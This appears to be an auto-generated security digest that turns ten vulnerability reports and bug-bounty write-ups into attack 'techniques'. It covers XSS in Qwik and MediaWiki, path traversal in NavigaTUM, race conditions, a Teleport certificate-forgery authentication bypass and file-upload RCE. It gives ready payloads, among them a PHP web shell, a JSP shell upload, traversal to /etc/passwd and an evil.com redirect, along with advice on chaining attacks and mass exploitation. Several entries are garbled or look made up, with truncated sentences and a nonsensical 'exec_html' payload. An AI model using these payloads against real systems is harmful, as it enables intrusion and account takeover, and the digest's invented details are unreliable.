ETX Signal-X

Daily Intelligence Digest

Monday, February 16, 2026

10	27
ARTICLES	TECHNIQUES

Article 1

Qwik is a performance focused javascript framework. Prior to version 1.19.0, a Cross-Site Scripting vulnerability in Qwik.js' server-side rendering virtual attribute serialization allows a remote attacker to inject arbitrary web scripts into server-render

Source: threatable

Date:

URL: https://github.com/QwikDev/qwik/commit/fe2d9232c0bcec99411d51a00dae29295871d094

T1 Slot Name Injection via SSR Virtual Attribute Serialization

💉 Payload

```
--><img src=x onerror=alert('XSS')>
```

⚔️ Attack Chain

1. Create a Qwik component that accepts a slot name (e.g., `<Slot name={PAYLOAD} />`).
2. Set the slot name to the payload above, which includes a closing comment and an XSS vector.
3. Render the component server-side, triggering SSR serialization of the slot name into a virtual comment attribute.
4. The payload is injected into the HTML as:
5. The browser parses the injected slot name, executing the XSS payload.

🔍 Discovery

Triggered by reviewing unit tests and diffs that showed slot names were not escaped in SSR output. The test case explicitly used a payload as slot name and observed script execution.

🔓 Bypass

Prior to version 1.19.0, slot names were not escaped, allowing direct injection. No escaping or filtering was applied to slot names in SSR virtual comments.

🔗 Chain With

Can be chained with other SSR attribute injection vectors, or used to escalate via DOM clobbering if other attributes are serialized unsafely. Potential for privilege escalation if slot content is user-controlled.

T2 SSR Virtual Attribute Injection via Unescaped Attribute Values

💉 Payload

```
a&<>"'
```

⚔️ Attack Chain

1. Pass a malicious string as an attribute value to a Qwik SSR component (e.g., `{ a: 'a&<>"\'' }`).
2. The SSR renderer serializes attributes without escaping, producing output like:
3. Inject HTML special characters to break out of attribute context or inject scripts/styles.
4. If the attribute is rendered in a context that allows script execution, XSS or HTML injection is possible.

🔍 Discovery

Identified via unit tests and code diff showing lack of escaping in `renderVirtualAttributes` and `renderAttributes` functions. Test cases demonstrated injection of special characters.

🔓 Bypass

No escaping applied to attribute values prior to patch. Boolean and empty attributes were also rendered without value, allowing further manipulation.

🔗 Chain With

Combine with slot name injection or other SSR attribute vectors. If multiple attributes are unescaped, can chain to break out of multiple contexts or inject complex payloads.

T3 SSR Attribute Injection via Numeric and Boolean Values

💉 Payload

```
disabled=true readonly=false required=true
```

⚔️ Attack Chain

1. Pass numeric or boolean values as attributes to a Qwik SSR component (e.g., `{ disabled: true, readonly: false, required: true }`).
2. SSR renderer serializes these as `disabled=true readonly=false required=true` without quotes or escaping.
3. If the application logic interprets these values unsafely, attacker can manipulate attribute states or inject unexpected values.

🔍 Discovery

Discovered via unit tests showing that numeric and boolean values are rendered directly, with no escaping or quoting. This can lead to attribute confusion or injection.

🔓 Bypass

No type checking or escaping prior to patch. Non-string values are rendered as-is, allowing manipulation of attribute context.

🔗 Chain With

Can be chained with other attribute injection vectors, especially if combined with string payloads to break out of attribute context. Useful for bypassing attribute-based access controls or manipulating SSR-rendered DOM.

Article 2

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation MediaWiki. This vulnerability is associated with program files includes/htmlform/fields/HTMLButtonField.Php.

Source: threatable

Date:

URL: https://phabricator.wikimedia.org/T394396

T1 Message Key XSS via Codex Special:Block Submit Message

💉 Payload

```
?uselang=x-xss&usecodex=true
```

⚔️ Attack Chain

1. Access the Special:Block page in MediaWiki with Codex enabled (displayFormat set to Codex).
2. Manipulate the URL to include `?uselang=x-xss&usecodex=true`.
3. The submit button message is rendered using an unescaped message key, allowing XSS if the language key contains malicious JavaScript (e.g., an alert or script tag).
4. The payload is executed in the context of the Special:Block page.

🔍 Discovery

Researcher noticed that the CodexHTMLForm did not escape message keys when rendering button labels. Testing with the `x-xss` language key and Codex enabled revealed the vulnerability.

🔓 Bypass

Switching the form displayFormat to Codex (instead of ooui) triggers the XSS even if the new Vue special page is not loaded. The issue is not present in the old Special:Block unless Codex is forced.

🔗 Chain With

Can be chained with privilege escalation if the attacker can inject custom language keys or if the application allows user-controlled message keys elsewhere. Potential for lateral movement via other Codex-enabled forms.

T2 Double-Escaping/Incorrect Escaping in CodexHTMLForm Component

💉 Payload

```
$buttonLabel = exec_html; // Mark as raw HTML, escape by caller
```

⚔️ Attack Chain

1. Identify that buildCodexComponent() is called directly from CodexHTMLForm.php.
2. If escaping is applied in buildCodexComponent instead of the caller, messages may be double-escaped or incorrectly escaped.
3. This can lead to broken UI or missed XSS vectors if escaping is not consistently applied at the data sink.
4. Revert patch to ensure escaping only happens at the caller, not in buildCodexComponent.

🔍 Discovery

Code review and patch analysis revealed duplicate escaping logic and inconsistent handling of raw HTML vs. escaped content. The issue was confirmed by tracing function calls and reviewing the diff files.

🔓 Bypass

If the escaping is applied in the wrong place, an attacker can bypass XSS prevention by injecting payloads that are not properly sanitized, or exploit double-escaping to break out of intended sanitization.

🔗 Chain With

Can be chained with other message key injection points or forms using CodexHTMLForm. Potential for privilege escalation if combined with user-controlled message keys in other parts of MediaWiki.

T3 Codex Display Format Forced XSS Regardless of Vue Special Page

💉 Payload

```
Change form displayFormat to Codex in SpecialBlock.php
```

⚔️ Attack Chain

1. In SpecialBlock.php, change the form displayFormat to Codex (e.g., at line 351).
2. Access Special:Block with Codex enabled.
3. XSS is triggered regardless of whether the new Vue special page is loaded.
4. The vulnerability is exposed even in legacy contexts if Codex is forced.

🔍 Discovery

Testing revealed that forcing Codex displayFormat exposes the XSS vector even when the new Vue page is not loaded, indicating the vulnerability is tied to the rendering engine and not the page implementation.

🔓 Bypass

Forcing Codex displayFormat overrides default protections present in ooui, exposing the XSS vector in otherwise protected contexts.

🔗 Chain With

Can be chained with other rendering engine toggles or legacy page contexts. Useful for targeting installations with mixed rendering engines or incomplete migrations.

Article 3

NavigaTUM is a website and API to search for rooms, buildings and other places. Prior to commit 86f34c7, there is a path traversal vulnerability in the propose_edits endpoint allows unauthenticated users to overwrite files in directories writable by the a

Source: threatable

Date:

URL: https://github.com/TUM-Dev/NavigaTUM/commit/86f34c72886a59ec8f1e6c00f78a5ab889a70fd0

T1 Path Traversal via Unsanitized Key in propose_edits Endpoint

💉 Payload

```
../../cdn/lg/mi
```

⚔️ Attack Chain

1. Send a request to the `propose_edits` endpoint with a crafted key parameter containing path traversal sequences (e.g., `../../cdn/lg/mi`).
2. The backend concatenates the key with the target directory path, resulting in a file write outside the intended directory.
3. The attacker can overwrite files in directories writable by the application, potentially leading to data corruption or privilege escalation.

🔍 Discovery

Analysis of the commit diff revealed the addition of a `sanitize_key` function, which explicitly blocks keys containing `..`, `/`, `\`, or starting with `.`. Prior to this patch, these checks were absent, allowing path traversal via the key parameter.

🔓 Bypass

Prior to commit 86f34c7, no sanitization was performed. Any key containing traversal sequences or path separators would be accepted. After the patch, keys are rejected if they contain `..`, `/`, `\`, or start with `.`.

🔗 Chain With

Combine with file upload or metadata manipulation to overwrite sensitive configuration files. Potential privilege escalation if writable directories include application code or authentication files.

T2 Overwrite Hidden Files via Key Starting with Dot

💉 Payload

```
.secret
```

⚔️ Attack Chain

1. Send a request to the `propose_edits` endpoint with a key starting with a dot (e.g., `.secret`).
2. The backend writes a file named `.secret_0.webp` in the target directory, potentially overwriting hidden files used by the application or OS.

🔍 Discovery

The commit introduces a check in `sanitize_key` to reject keys starting with a dot, indicating that previously such keys were accepted and could be used to target hidden files.

🔓 Bypass

Prior to the patch, keys starting with `.` were not blocked, allowing attackers to target hidden files. After the patch, such keys are rejected.

🔗 Chain With

Overwrite `.htaccess`, `.env`, or other hidden files to manipulate application behavior or leak secrets.

T3 Absolute Path Write via Key Containing Path Separator

💉 Payload

```
/etc/passwd
```

⚔️ Attack Chain

1. Send a request to the `propose_edits` endpoint with a key containing a slash or backslash (e.g., `/etc/passwd`).
2. The backend interprets the key as a path, resulting in a file write to an absolute path if the application has sufficient permissions.

🔍 Discovery

The commit adds checks to block keys containing `/` or `\`, showing that previously absolute paths could be injected via the key parameter.

🔓 Bypass

Prior to the patch, keys containing path separators were accepted, enabling absolute path writes. After the patch, such keys are rejected.

🔗 Chain With

Overwrite system files if the application runs with elevated privileges. Combine with privilege escalation or persistence techniques.

Article 4

Double Race Condition : Breaking Rules

Source: securitycipher

Date: 10-Nov-2024

URL: https://sayedv2.medium.com/double-race-condition-breaking-rules-88850372afb8

T1 Race Condition on Invite Members Functionality

💉 Payload

```
POST /invite-member HTTP/1.1
Host: target.com
Content-Type: application/json
{
  "email": "user1@example.com"
}
```

⚔️ Attack Chain

1. Intercept the invite member request using Burp Suite.
2. Duplicate the invite request for different users (change "email" field).
3. Group the requests and send them in parallel (multi-threaded or Burp Intruder/Repeater).
4. Observe that multiple invitations are sent, bypassing the single-invite restriction.

🔍 Discovery

Focused on invite functionality due to plan restriction after first invite; tested for race condition by sending parallel requests with different user emails.

🔓 Bypass

Sending multiple invite requests simultaneously allows multiple invitations to be processed before the restriction logic is enforced.

🔗 Chain With

Can be chained with additional race conditions on subsequent actions (e.g., invite acceptance).

T2 Race Condition on Invite Acceptance (Double Race Condition Chain)

💉 Payload

```
POST /accept-invite HTTP/1.1
Host: target.com
Content-Type: application/json
{
  "invite_token": "token_for_user1"
}
```

⚔️ Attack Chain

1. After sending multiple invitations via race condition, intercept the accept invitation requests for each user.
2. Group the accept-invite requests and send them in parallel.
3. Observe that all users successfully join the team, bypassing plan restrictions.

🔍 Discovery

After noticing only one user could join via the first race, hypothesized a second race condition might exist on invite acceptance; tested by sending multiple accept requests in parallel.

🔓 Bypass

Simultaneous acceptance of multiple invites allows all users to join before the restriction logic invalidates remaining invites.

🔗 Chain With

This technique is dependent on chaining with the initial invite race condition; together, they bypass business logic restrictions on team membership.

Article 5

Exploiting CVE-2025-49825

Source: threatable

Date:

URL: https://blog.offensive.af/posts/exploiting-cve-2025-49825/

T1 Nested SSH Certificate Authentication Bypass (CVE-2025-49825)

💉 Payload

```
1. Retrieve Teleport User CA public key:
   curl -sk https://<teleport-server>/webapi/auth/export?type=user
   # Output: cert-authority ssh-rsa AA...s20d clustername=vuln-lab&type=user

2. Forge inner SSH certificate (`innerCert`) with:
   innerCert.Key = attacker's public key
   innerCert.SignatureKey = Teleport User CA public key
   innerCert.Signature = signed by attacker's private key

3. Forge outer SSH certificate (`cert`) with:
   cert.Key = desired SSH login public key
   cert.SignatureKey = innerCert (as *ssh.Certificate)
   cert.Signature = signed by attacker's private key (innerCert.Key)

4. Embed required extensions and traits:
   extensions := map[string]string{
     "login-ip": "127.0.0.1",
     "permit-agent-forwarding": "",
     "permit-port-forwarding": "",
     "permit-pty": "",
     "private-key-policy": "none",
     "teleport-roles": rolesJSON,
     "teleport-route-to-cluster": *cluster,
     "teleport-traits": teleportTraits,
   }

5. Connect to vulnerable Teleport agent:
   ./exploit -target <agent-ip>:3022 -ca-file user-ca.pub -cmd "id"
```

⚔️ Attack Chain

1. Identify vulnerable Teleport agent (pre-patch version, e.g., v16.5.11).
2. Retrieve Teleport User CA public key from unauthenticated endpoint: `/webapi/auth/export?type=user`.
3. Generate attacker SSH keypair.
4. Forge nested SSH certificates as described above, with innerCert's SignatureKey set to the real CA public key.
5. Set the KeyId in the certificate to a valid Teleport username with RBAC permissions (e.g., "admin").
6. Embed necessary traits and extensions in certificate (e.g., "teleport-roles", "teleport-traits").
7. Connect to the Teleport agent using the forged certificate for authentication bypass.
8. Achieve root access or desired command execution on the target asset.

🔍 Discovery

Analysis of Teleport's authentication flow and patch diff in `IsUserAuthority` and `authorityForCert` functions. Identification of removed switch case handling for `*ssh.Certificate` type, enabling nested certificate abuse. Confirmed by reviewing commit and advisory, then tested in lab environment.

🔓 Bypass

Exploits the fact that the vulnerable code accepts nested SSH certificates, allowing attacker-controlled inner certificates to pass CA validation if the innerCert's SignatureKey is set to the legitimate Teleport User CA public key.

RBAC and trait checks can be bypassed by setting KeyId and extensions to valid values.

🔗 Chain With

Combine with lateral movement across assets managed by the same Teleport infrastructure if agents are unpatched. Use unauthenticated CA key retrieval endpoint to automate mass exploitation. Abuse RBAC and trait manipulation to escalate privileges or impersonate high-value users.

T2 Unauthenticated Retrieval of Teleport User CA Public Key

💉 Payload

```
curl -sk https://<teleport-server>/webapi/auth/export?type=user
# Output: cert-authority ssh-rsa AA...s20d clustername=vuln-lab&type=user
```

⚔️ Attack Chain

1. Locate Teleport server (proxy component).
2. Access `/webapi/auth/export?type=user` endpoint without authentication.
3. Retrieve the Teleport User CA public key for use in certificate forgery/exploitation.

🔍 Discovery

Identified during lab setup and exploitation attempts; endpoint was accessible without authentication and provided the CA public key necessary for crafting malicious certificates.

🔓 Bypass

No authentication required to retrieve CA public key, enabling attackers to obtain the key for use in certificate forgery attacks.

🔗 Chain With

Use retrieved CA public key in nested certificate authentication bypass (Technique 1). Automate reconnaissance for mass exploitation across multiple Teleport deployments.

T3 RBAC and Trait Manipulation in Forged SSH Certificates

💉 Payload

```
extensions := map[string]string{
  "login-ip": "127.0.0.1",
  "permit-agent-forwarding": "",
  "permit-port-forwarding": "",
  "permit-pty": "",
  "private-key-policy": "none",
  "teleport-roles": rolesJSON,
  "teleport-route-to-cluster": *cluster,
  "teleport-traits": teleportTraits,
}
# Set KeyId in certificate to valid Teleport username with desired roles/logins
```

⚔️ Attack Chain

1. Enumerate valid Teleport usernames, roles, and traits (e.g., via leaked logs, Slack, or internal documentation).
2. Set KeyId in forged certificate to valid user (e.g., "admin").
3. Embed required roles and traits in certificate extensions.
4. Present forged certificate to Teleport agent to pass RBAC and trait checks.
5. Achieve privileged access or command execution as desired user.

🔍 Discovery

Observed during exploitation attempts; initial bypass failed RBAC, but adjusting KeyId and embedding traits/extensions enabled full privilege escalation. Information on valid users/roles often found in internal logs or corporate chat apps.

🔓 Bypass

Manipulating certificate fields (KeyId, extensions) allows attacker to impersonate privileged users and satisfy RBAC/trait checks enforced by Teleport agent.

🔗 Chain With

Combine with nested certificate authentication bypass (Technique 1) for full exploitation chain. Use information from internal leaks to target high-value users and escalate privileges.

Article 6

A vulnerability was found in Bdtask Bhojon All-In-One Restaurant Management System up to 20260116. Impacted is an unknown function of the file /dashboard/home/profile of the component User Information Module. Performing a manipulation of the argument full

Source: threatable

Date:

URL: https://github.com/4m3rr0r/PoCVulDb/issues/12

T1 Stored XSS via Profile Fullname Field

💉 Payload

```
<script>alert(1)</script>
```

⚔️ Attack Chain

1. Authenticate as a user in Bhojon All-In-One Restaurant Management System.
2. Navigate to `/dashboard/home/profile`.
3. Edit the profile and set the `fullname` field to the payload `<script>alert(1)</script>`.
4. Save the profile changes.
5. Visit the profile page or trigger a view of the profile information.
6. The payload executes as stored XSS when the profile is rendered.

🔍 Discovery

Manual testing of input fields in the User Information Module, specifically the `fullname` parameter, revealed that user-supplied input was reflected without sanitization or encoding.

🔓 Bypass

No input sanitization or HTML encoding is performed on the `fullname` field, allowing direct injection of script tags.

🔗 Chain With

Stored XSS in the profile field can be leveraged for session hijacking, privilege escalation, or lateral movement if combined with CSRF or other authentication bypasses.

Article 7

€300 just by bug race condition

Source: securitycipher

Date: 11-Jun-2025

URL: https://zetanine.medium.com/300-just-by-bug-race-condition-9ad2d912921f

T1 Workspace Limit Race Condition Exploit

💉 Payload

```
POST /workspace/create
Content-Type: application/json
{
  "name": "RaceConditionWorkspace"
}
```

⚔️ Attack Chain

1. Log in with a free user account that already has the maximum allowed workspaces (e.g., 5).
2. Navigate to the workspace creation page.
3. Intercept the workspace creation POST request using Burp Suite.
4. Send the intercepted request to Repeater and duplicate it across 12 tabs.
5. Group all tabs and configure "Send group in parallel" with last-byte synchronization.
6. Fire all requests simultaneously.
7. Observe that all responses return "403 Forbidden" with the message "User doesn't have premium subscription".
8. Check the UI and confirm the workspace counter has increased (e.g., to 17), and the extra workspaces are usable.

🔍 Discovery

Manual exploration of workspace limits, curiosity about validation logic, and observing that the limit check occurs after database insertion. Confirmed by intercepting and parallelizing workspace creation requests.

🔓 Bypass

The validation for workspace limit is performed after the workspace is inserted into the database. By sending multiple requests in parallel, the system allows creation of extra workspaces before the validation triggers, bypassing the freemium restriction.

🔗 Chain With

Can be chained with privilege escalation or resource exhaustion attacks if other business logic validations are similarly flawed. Potential for chaining with account upgrade logic to gain premium features without payment.

Article 8

How I get 7 open redirect and 7 XSS in public program!

Source: securitycipher

Date: 09-Jan-2025

URL: https://medium.com/@mohamed.yasser442200/how-i-get-7-open-redirect-and-7-xss-in-public-program-7518a3f26b49

T1 Open Redirect via URL Parameter Manipulation

💉 Payload

```
https://target.com/redirect?url=https://evil.com
```

⚔️ Attack Chain

1. Identify endpoint accepting a URL parameter (e.g., /redirect?url=).
2. Supply a fully qualified external URL (e.g., https://evil.com) as the parameter value.
3. Trigger the endpoint to redirect the user to the supplied external URL.

🔍 Discovery

Manual review of endpoints with parameters named "url", "redirect", "next", "continue", etc. Noted that the application did not validate or restrict external URLs.

🔓 Bypass

No validation on the URL parameter allows direct redirection to any external site.

🔗 Chain With

Can be chained with phishing campaigns, credential harvesting, or further XSS if the destination accepts user input.

T2 Open Redirect via URL Encoding Bypass

💉 Payload

```
https://target.com/redirect?url=%2F%2Fevil.com
```

⚔️ Attack Chain

1. Identify endpoint accepting a URL parameter.
2. Encode the external URL using percent encoding (e.g., %2F%2Fevil.com for //evil.com).
3. Submit the encoded payload to the endpoint.
4. Application parses the encoded value and redirects to the external site.

🔍 Discovery

Testing encoded payloads in URL parameters to bypass naive validation that only checks for "http" or "https" prefixes.

🔓 Bypass

Encoding the URL as "//evil.com" bypasses checks for protocol and allows redirection.

🔗 Chain With

Useful for bypassing basic allowlist/denylist logic; can be combined with other redirect techniques.

T3 Reflected XSS via Query Parameter Injection

💉 Payload

```
https://target.com/search?q=<script>alert(1)</script>
```

⚔️ Attack Chain

1. Identify endpoint reflecting user-supplied input (e.g., /search?q=).
2. Inject a JavaScript payload into the vulnerable parameter.
3. Access the endpoint and observe script execution in the browser.

🔍 Discovery

Manual fuzzing of parameters with common XSS payloads; observed input reflected unescaped in HTML response.

🔓 Bypass

No output encoding or input sanitization allows direct script injection.

🔗 Chain With

Can be used for session hijacking, cookie theft, or escalating to stored XSS if combined with other vulnerabilities.

T4 Reflected XSS via HTML Attribute Injection

💉 Payload

```
https://target.com/profile?name=" onmouseover="alert(1)
```

⚔️ Attack Chain

1. Identify endpoint reflecting input inside HTML attributes (e.g., <input value="name">).
2. Inject payload that breaks attribute context and adds an event handler.
3. Trigger the event (e.g., mouseover) to execute JavaScript.

🔍 Discovery

Testing for injection points inside HTML attributes; observed lack of escaping for quotes and event attributes.

🔓 Bypass

Breaking out of attribute context enables arbitrary event handler injection.

🔗 Chain With

Can be combined with open redirect to lure users to XSS endpoint; can escalate to stored XSS if input is persisted.

T5 Reflected XSS via JavaScript Context Injection

💉 Payload

```
https://target.com/page?msg=');alert(1);//
```

⚔️ Attack Chain

1. Identify endpoint reflecting input inside a JavaScript context (e.g., var msg = 'input';).
2. Inject payload that breaks out of string context and executes arbitrary JavaScript.
3. Access endpoint and observe script execution.

🔍 Discovery

Fuzzing parameters reflected in inline JavaScript; observed input not properly escaped for JS context.

🔓 Bypass

Breaking out of JS string context enables arbitrary code execution.

🔗 Chain With

Can be chained with open redirect for phishing, or with stored XSS for persistent attacks.

Article 9

POC — CVE-2024–50623- Cleo Unrestricted file upload and download

Source: securitycipher

Date: 23-Dec-2024

URL: https://medium.com/@verylazytech/poc-cve-2024-50623-cleo-unrestricted-file-upload-and-download-382afa5a15db

T1 Unrestricted File Upload via Cleo File Upload Endpoint

💉 Payload

```
POST /upload HTTP/1.1
Host: <target>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="shell.jsp"
Content-Type: application/octet-stream

<jsp shell code>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
```

⚔️ Attack Chain

1. Identify the Cleo file upload endpoint (e.g., `/upload`).
2. Craft a multipart/form-data POST request with a malicious file (e.g., `shell.jsp`).
3. Send the request to the endpoint.
4. Confirm the file is uploaded without restriction or validation.

🔍 Discovery

Manual inspection of Cleo's upload functionality revealed lack of file type validation and absence of authentication/authorization checks.

🔓 Bypass

No file extension or content-type validation; arbitrary files (including web shells) are accepted.

🔗 Chain With

Combine with web shell payloads for post-upload RCE. Use in conjunction with SSRF or path traversal if upload directory is accessible via other endpoints.

T2 Unrestricted File Download via Cleo Download Endpoint

💉 Payload

```
GET /download?file=shell.jsp HTTP/1.1
Host: <target>
```

⚔️ Attack Chain

1. Identify the Cleo file download endpoint (e.g., `/download`).
2. Upload a file (e.g., `shell.jsp`) using the unrestricted upload technique.
3. Access the file directly via the download endpoint with the filename parameter.
4. Download arbitrary files from the server, including those uploaded or potentially sensitive files.

🔍 Discovery

Testing the download endpoint with arbitrary filenames showed no access controls or file type restrictions.

🔓 Bypass

No authentication or authorization required; direct access via filename parameter.

🔗 Chain With

Combine with unrestricted upload for full attack chain (upload malicious file, download it for verification or exfiltration). Potential for path traversal if filename parameter is not sanitized.

T3 Remote Code Execution via Uploaded Web Shell

💉 Payload

```
http://<target>/uploads/shell.jsp?cmd=whoami
```

⚔️ Attack Chain

1. Upload a web shell (e.g., `shell.jsp`) using the unrestricted upload endpoint.
2. Access the uploaded shell via its public URL or download endpoint.
3. Execute arbitrary system commands via the shell interface (e.g., `cmd=whoami`).

🔍 Discovery

After uploading a JSP shell, accessing it via the server confirmed command execution capability.

🔓 Bypass

No input filtering or execution restrictions on uploaded files.

🔗 Chain With

Combine with privilege escalation techniques post-shell access. Use for lateral movement if other endpoints or services are exposed.

Article 10

How I got RCE in one of Bugcrowd's Public Programs

Source: securitycipher

Date: 05-Feb-2024

URL: https://medium.com/@yousefmoh15/how-i-got-rce-in-one-of-bugcrowds-public-programs-5725c8dc46ce

T1 Remote Code Execution via File Upload and Path Traversal

💉 Payload

```
../../../../../../../../../tmp/test.php
```

⚔️ Attack Chain

1. Identify a file upload endpoint accepting user-supplied files.
2. Upload a PHP file (e.g., `test.php`) containing malicious code, using a filename with path traversal sequences (`../../../../../../../../../tmp/test.php`).
3. The server processes the upload and writes the file to the `/tmp/` directory, bypassing intended upload restrictions.
4. Access the uploaded PHP file via a web-accessible path, triggering execution of the payload and achieving RCE.

🔍 Discovery

Manual fuzzing of the file upload endpoint with various filename patterns, specifically testing for path traversal sequences and observing server responses and file placement.

🔓 Bypass

Bypassing upload directory restrictions by abusing insufficient sanitization of the filename parameter, allowing traversal outside the intended directory.

🔗 Chain With

Can be chained with privilege escalation if the uploaded file is executed with elevated permissions, or combined with SSRF/LFI to trigger execution remotely.

T2 RCE via Malicious PHP File Upload (No Extension Filtering)

💉 Payload

```
<?php system($_GET['cmd']); ?>
```

⚔️ Attack Chain

1. Locate a file upload endpoint that does not enforce file extension filtering or content-type validation.
2. Upload a PHP file containing the above payload.
3. Access the uploaded file via the web server and supply a `cmd` parameter (e.g., `?cmd=id`) to execute arbitrary system commands.

🔍 Discovery

Testing file upload endpoints for lack of extension/content-type validation by uploading files with `.php` extension and observing execution behavior.

🔓 Bypass

No filtering on file extension or MIME type allows direct upload and execution of PHP files.

🔗 Chain With

Can be chained with authentication bypass to reach the upload endpoint, or used with command injection to escalate impact.

T3 RCE via File Upload with Double Extension Bypass

💉 Payload

```
malicious.php.jpg
```

⚔️ Attack Chain

1. Identify a file upload endpoint that checks for allowed extensions (e.g., `.jpg`) but does not properly validate double extensions.
2. Upload a file named `malicious.php.jpg` containing PHP code.
3. The server saves the file and, due to improper handling, executes the PHP code when the file is accessed.

🔍 Discovery

Testing upload endpoints with files named using double extensions to bypass extension-based filtering.

🔓 Bypass

Bypassing extension validation by appending a whitelisted extension after `.php`, exploiting weak filename parsing.

🔗 Chain With

Can be combined with directory traversal to control file placement, or used with access control weaknesses to reach the upload endpoint.